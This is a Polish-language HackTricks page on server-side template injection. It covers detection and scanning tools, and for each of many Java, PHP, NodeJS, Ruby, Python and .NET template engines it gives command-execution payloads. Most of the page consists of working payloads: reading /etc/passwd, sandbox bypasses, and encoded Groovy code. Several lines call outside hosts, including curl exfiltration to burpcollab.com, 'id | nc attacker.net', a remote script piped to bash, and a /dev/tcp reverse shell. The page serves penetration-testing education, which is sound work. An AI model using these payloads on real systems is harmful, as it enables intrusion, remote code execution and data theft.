SSTI (Server Side Template Injection)

Reading time: 29 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Czym jest SSTI (Server-Side Template Injection)

Server-side template injection to luka, która występuje, gdy atakujący może wstrzyknąć złośliwy kod do szablonu, który jest wykonywany na serwerze. Ta luka może występować w różnych technologiach, w tym Jinja.

Jinja to popularny silnik szablonów używany w aplikacjach internetowych. Rozważmy przykład, który ilustruje podatny fragment kodu używający Jinja:

python
output = template.render(name=request.args.get('name'))

W tym podatnym kodzie parametr name z żądania użytkownika jest bezpośrednio przekazywany do szablonu za pomocą funkcji render. Może to potencjalnie pozwolić atakującemu na wstrzyknięcie złośliwego kodu do parametru name, co prowadzi do wstrzyknięcia szablonu po stronie serwera.

Na przykład, atakujący mógłby przygotować żądanie z ładunkiem takim jak ten:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Payload {{bad-stuff-here}} jest wstrzykiwany do parametru name. Ten payload może zawierać dyrektywy szablonów Jinja, które umożliwiają atakującemu wykonanie nieautoryzowanego kodu lub manipulację silnikiem szablonów, potencjalnie zyskując kontrolę nad serwerem.

Aby zapobiec podatnościom na wstrzykiwanie szablonów po stronie serwera, deweloperzy powinni upewnić się, że dane wejściowe od użytkowników są odpowiednio oczyszczane i walidowane przed wstawieniem ich do szablonów. Wdrożenie walidacji danych wejściowych i użycie technik ucieczki uwzględniających kontekst mogą pomóc w złagodzeniu ryzyka tej podatności.

Wykrywanie

Aby wykryć wstrzykiwanie szablonów po stronie serwera (SSTI), początkowo fuzzing szablonu jest prostym podejściem. Polega to na wstrzykiwaniu sekwencji znaków specjalnych (${{<%[%'"}}%\) do szablonu i analizowaniu różnic w odpowiedzi serwera na dane regularne w porównaniu do tego specjalnego payloadu. Wskaźniki podatności obejmują:

  • Rzucone błędy, ujawniające podatność i potencjalnie silnik szablonów.
  • Brak payloadu w odbiciu lub brakujące jego części, co sugeruje, że serwer przetwarza go inaczej niż dane regularne.
  • Kontekst tekstowy: Rozróżnienie od XSS poprzez sprawdzenie, czy serwer ocenia wyrażenia szablonów (np. {{7*7}}, ${7*7}).
  • Kontekst kodu: Potwierdzenie podatności poprzez zmianę parametrów wejściowych. Na przykład, zmieniając greeting w http://vulnerable-website.com/?greeting=data.username, aby zobaczyć, czy wyjście serwera jest dynamiczne czy stałe, jak w greeting=data.username}}hello, zwracając nazwę użytkownika.

Faza identyfikacji

Identyfikacja silnika szablonów polega na analizie komunikatów o błędach lub ręcznym testowaniu różnych payloadów specyficznych dla języka. Typowe payloady powodujące błędy to ${7/0}, {{7/0}} i <%= 7/0 %>. Obserwacja odpowiedzi serwera na operacje matematyczne pomaga określić konkretny silnik szablonów.

Identyfikacja przez payloady

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Narzędzia

TInjA

wydajny skaner SSTI + CSTI, który wykorzystuje nowatorskie poligloty

bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Tabela Wstrzyknięć Szablonów

interaktywna tabela zawierająca najskuteczniejsze poligloty wstrzyknięć szablonów wraz z oczekiwanymi odpowiedziami 44 najważniejszych silników szablonów.

Eksploity

Ogólne

W tej liście słów możesz znaleźć zmienne zdefiniowane w środowiskach niektórych z wymienionych poniżej silników:

Java

Java - Podstawowe wstrzyknięcie

java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Pobierz zmienne środowiskowe systemu

java
${T(java.lang.System).getenv()}

Java - Pobierz /etc/passwd

java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Możesz przetestować swoje ładunki na https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nic
  • ${foobar}
java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Ominięcie piaskownicy

⚠️ działa tylko w wersjach Freemarker poniżej 2.3.30

java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Więcej informacji

Velocity (Java)

java
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Więcej informacji

Thymeleaf

W Thymeleaf, powszechnym testem na podatności SSTI jest wyrażenie ${7*7}, które również dotyczy tego silnika szablonów. W przypadku potencjalnego zdalnego wykonania kodu, można użyć takich wyrażeń jak:

  • SpringEL:
java
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
java
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf wymaga, aby te wyrażenia były umieszczane w określonych atrybutach. Jednak wstawianie wyrażeń jest wspierane w innych lokalizacjach szablonów, używając składni takiej jak [[...]] lub [(...)]. Zatem prosty ładunek testowy SSTI może wyglądać jak [[${7*7}]].

Jednak prawdopodobieństwo, że ten ładunek zadziała, jest zazwyczaj niskie. Domyślna konfiguracja Thymeleaf nie wspiera dynamicznego generowania szablonów; szablony muszą być zdefiniowane z góry. Programiści musieliby zaimplementować własny TemplateResolver, aby tworzyć szablony z ciągów w locie, co jest rzadkie.

Thymeleaf oferuje również wstępne przetwarzanie wyrażeń, gdzie wyrażenia w podwójnych podkreśleniach (__...__) są wstępnie przetwarzane. Ta funkcja może być wykorzystana w konstrukcji wyrażeń, jak pokazano w dokumentacji Thymeleaf:

java
#{selection.__${sel.code}__}

Przykład podatności w Thymeleaf

Rozważ następujący fragment kodu, który może być podatny na wykorzystanie:

xml
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

To wskazuje, że jeśli silnik szablonów przetwarza te dane wejściowe niewłaściwie, może to prowadzić do zdalnego wykonania kodu uzyskującego dostęp do adresów URL takich jak:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Więcej informacji

{{#ref}} el-expression-language.md {{#endref}}

Spring Framework (Java)

java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Ominić filtry

Można użyć wielu wyrażeń zmiennych, jeśli ${...} nie działa, spróbuj #{...}, *{...}, @{...} lub ~{...}.

  • Przeczytaj /etc/passwd
java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Niestandardowy skrypt do generowania ładunków
python
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Więcej informacji

Manipulacja widokiem Spring (Java)

java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{{#ref}} el-expression-language.md {{#endref}}

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Stara wersja Pebble ( < wersja 3.0.9):

java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nowa wersja Pebble:

java
{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava to projekt open source opracowany przez Hubspot, dostępny pod adresem https://github.com/HubSpot/jinjava/

Jinjava - Wykonywanie poleceń

Naprawione przez https://github.com/HubSpot/jinjava/pull/230

java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Więcej informacji

Hubspot - HuBL (Java)

  • {% %} delimitery instrukcji
  • {{ }} delimitery wyrażeń
  • {# #} delimitery komentarzy
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Szukaj "com.hubspot.content.hubl.context.TemplateContextRequest" i odkryj projekt Jinjava na Githubie.

java
{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Więcej informacji

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) jest podstawową funkcją, która ułatwia interakcję między warstwą prezentacji (taką jak strony internetowe) a logiką aplikacji (taką jak managed beans) w JavaEE. Jest szeroko stosowana w różnych technologiach JavaEE, aby uprościć tę komunikację. Kluczowe technologie JavaEE wykorzystujące EL to:

  • JavaServer Faces (JSF): Wykorzystuje EL do powiązania komponentów w stronach JSF z odpowiadającymi danymi i akcjami w backendzie.
  • JavaServer Pages (JSP): EL jest używane w JSP do uzyskiwania dostępu i manipulowania danymi w stronach JSP, co ułatwia łączenie elementów strony z danymi aplikacji.
  • Contexts and Dependency Injection for Java EE (CDI): EL integruje się z CDI, aby umożliwić płynne interakcje między warstwą webową a managed beans, zapewniając bardziej spójną strukturę aplikacji.

Sprawdź następującą stronę, aby dowiedzieć się więcej o eksploatacji interpreterów EL:

{{#ref}} el-expression-language.md {{#endref}}

Groovy (Java)

Następujące obejścia Security Managera zostały zaczerpnięte z tego opisu.

java
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

Inne Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

php
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Więcej informacji

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Format szablonu

php
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Więcej informacji

Plates (PHP)

Plates to silnik szablonów natywny dla PHP, czerpiący inspirację z Twig. Jednak w przeciwieństwie do Twig, który wprowadza nową składnię, Plates wykorzystuje natywny kod PHP w szablonach, co czyni go intuicyjnym dla programistów PHP.

Controller:

php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Szablon strony:

php
<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Szablon układu:

html
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Więcej informacji

PHPlib i HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB jest tym samym co PHPlib, ale przeniesionym do Pear.

authors.tpl

html
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Więcej informacji

Inne PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Więcej informacji

patTemplate (PHP)

patTemplate to niekompilujący silnik szablonów PHP, który używa znaczników XML do podziału dokumentu na różne części

xml
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Więcej informacji

Handlebars (NodeJS)

Path Traversal (więcej informacji tutaj).

bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Błąd
  • ${7*7} = ${7*7}
  • Nic
java
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Więcej informacji

JsRender (NodeJS)

SzablonOpis
Oceń i renderuj wynik
Oceń i renderuj wynik zakodowany w HTML
Komentarz
iZezwól na kod (domyślnie wyłączone)
  • = 49

Strona Klienta

python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Serwerowa Strona

bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Więcej informacji

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Przykład renderowania po stronie serwera

javascript
var pugjs = require("pug")
home = pugjs.render(injected_page)

Więcej informacji

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Brak wyjścia
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Błąd
javascript
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

Więcej informacji

Inne NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Więcej informacji

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Więcej informacji

Inne Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Sprawdź następującą stronę, aby poznać triki dotyczące obejścia wykonywania dowolnych poleceń w piaskownicach w pythonie:

{{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ {{#endref}}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Błąd
  • {{7*'7'}} = 7777777
python
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Więcej informacji

Jinja2 (Python)

Oficjalna strona

Jinja2 to w pełni funkcjonalny silnik szablonów dla Pythona. Posiada pełne wsparcie dla unicode, opcjonalne zintegrowane środowisko wykonawcze w piaskownicy, szeroko stosowane i licencjonowane na zasadach BSD.

  • {{7*7}} = Błąd
  • ${7*7} = ${7*7}
  • {{foobar}} Nic
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
python
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Format szablonu

python
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE niezależne od __builtins__:

python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Więcej szczegółów na temat nadużywania Jinja:

{{#ref}} jinja2-ssti.md {{#endref}}

Inne ładunki w https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

python
<%
import os
x=os.popen('id').read()
%>
${x}

Więcej informacji

Inne Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Sukces
  • @() <= Sukces
  • @("{{code}}") <= Sukces
  • @ <= Sukces
  • @{} <= BŁĄD!
  • @{ <= BŁĄD!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
